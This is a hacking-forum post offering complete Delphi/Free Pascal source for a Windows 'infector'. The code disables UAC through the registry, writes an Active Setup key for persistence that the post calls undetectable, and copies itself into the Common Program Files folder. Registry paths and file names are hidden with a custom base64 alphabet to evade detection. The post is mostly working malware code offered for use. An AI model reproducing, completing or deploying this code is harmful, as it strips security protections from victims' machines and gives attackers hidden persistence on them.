Delphi Simple Infector [UAC bypass + Silent Autostart]

[you2004975]

What the code do ?

• Disable UAC via regkey
  
• Adding prepared regkey to ActiveSetup branch (undetectable autostart)
  
• Copying itselfs onto %CommonProgramFiles%
  

[HIDE-THANKS]

>unit main;

{$mode objfpc}{$H+}

interface

uses
 Windows,Registry,Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs;

type

 { Tcore }

 Tcore = class(TForm)
   procedure FormCreate(Sender: TObject);
 private
   { private declarations }
 public
   { public declarations }
 end;
type
TProc = function(arg1:dword;arg2:dword;arg3:dword;arg4:dword;arg5:dword) : integer;stdcall;
const
Codes64 = 'X9,.345718a_CDE~IGHJ^LM;OP?RSTU&W0ZY bcd#@ghVjk-:n!pq=st|vwxyz+/';
useragent :string = 'ABLA';


var
 core: Tcore;

implementation

{$R *.lfm}
function Decode64(S: string): string;
var
 i: Integer;
 a: Integer;
 x: Integer;
 b: Integer;
begin
 Result := '';
 a := 0;
 b := 0;
 for i := 1 to Length(s) do
 begin
   x := Pos(s[i], codes64) - 1;
   if x >= 0 then
   begin
     b := b * 64 + x;
     a := a + 6;
     if a >= 8 then
     begin
       a := a - 8;
       x := b shr a;
       b := b mod (1 shl a);
       x := x mod 256;
       Result := Result + chr(x);
     end;
   end
   else
     Exit;
 end;
end;
function Encode64(S: string): string;
var
 i: Integer;
 a: Integer;
 x: Integer;
 b: Integer;
begin
 Result := '';
 a := 0;
 b := 0;
 for i := 1 to Length(s) do
 begin
   x := Ord(s[i]);
   b := b * 256 + x;
   a := a + 8;
   while a >= 6 do
   begin
     a := a - 6;
     x := b div (1 shl a);
     b := b mod (1 shl a);
     Result := Result + Codes64[x + 1];
   end;
 end;
 if a > 0 then
 begin
   x := b shl (6 - a);
   Result := Result + Codes64[x + 1];
 end;
end;
function doit(a:string):string;
var s:string;
begin
s:=decode64(a);

result:=s;
end;
function callme(name,dll:string;arg1:dword=0;arg2:dword=0;arg3:dword=0;arg4:dword=0;arg5:dword=0):integer;
var
  dllka : THandle;
  TestProc : TProc;
  s1,s2:string;
begin
s1:=doit(dll);
s2:=doit(name);
 //result:=0;
  dllka := LoadLibrary(pchar(s1));
  try
     TestProc := TProc(GetProcAddress(dllka,pchar(s2)));
     if @TestProc = nil then ShowMessage(decode64('GdLkOtG@Rs|WRczq15n-OMGbPX'));
     result:=integer(TestProc(arg1,arg2,arg3,arg4,arg5));
  finally
     FreeLibrary(dllka);
  end;
end;
procedure slizgaj_sie();
var
 Registry: TRegistry;
 reg_key,lua_key,lua_stub:string;
stub, magic:string;
begin
reg_key:='^szcT7T0ScLSJMbYSczpRsPq;34YT5bsPH9JP;G=S4n8RdDqOMnVPMIWIszjS5zkPMvqS:';
lua_key:='^qz5L4T9^ LSJMbYSczpRsPq;4T@RcG-TtDSItL!ScLkT4PbSdD@RsvS^5zV?MD@P;DS^tbpT5Lj';
lua_stub:='GMv0OcnbJ4L9';
magic:='U= qDpb.D I:_^z^^bSjLJL7H,=JC^L4_^^:I^CnC31qGI';
stub:='^tG=Ob90T5W';
   randomize;
  Registry := TRegistry.Create;
  try
   Registry.RootKey :=   HKEY_LOCAL_MACHINE ;
 if Registry.OpenKey(decode64(lua_key)+'\',true) then
 Registry.WriteInteger(decode64(lua_stub),0);
   if Registry.OpenKey(decode64(reg_key)+'\'+decode64(magic)+inttostr(random(900)+100)+'}',true) then
     Registry.WriteString(decode64(stub),decode64('Os= 1,zY1,8pT54!T,XbIszjRMzk^78-Pt80R^P@R5Lp8HzYR5L0RZvbU5^W8ZOWP;0@T,1'));
 finally
   Registry.Free;
 end;
end;

{ Tcore }

procedure Tcore.FormCreate(Sender: TObject);
begin
 slizgaj_sie();
if not fileexists(SysUtils.GetEnvironmentVariable(decode64('IszjRMzk^78-Pt80R^P@R5Lp'))+decode64(';5DVPM4k_cL|PI')) then begin

CopyFile(Application.ExeName,SysUtils.GetEnvironmentVariable(decode64('IszjRMzk^78-Pt80R^P@R5Lp'))+decode64(';5DVPM4k_cL|PI'));

end;
end;
end.

[/HIDE-THANKS]